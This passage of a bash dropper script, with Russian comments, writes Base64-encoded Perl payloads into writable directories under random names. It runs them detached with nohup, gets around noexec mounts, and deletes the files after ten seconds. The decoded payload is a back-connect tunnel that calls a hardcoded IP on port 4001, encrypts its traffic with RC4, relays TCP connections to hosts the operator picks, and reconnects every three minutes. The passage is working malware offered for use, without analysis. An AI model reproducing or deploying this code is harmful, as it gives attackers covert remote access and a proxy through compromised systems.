MSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_2a229a08() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbX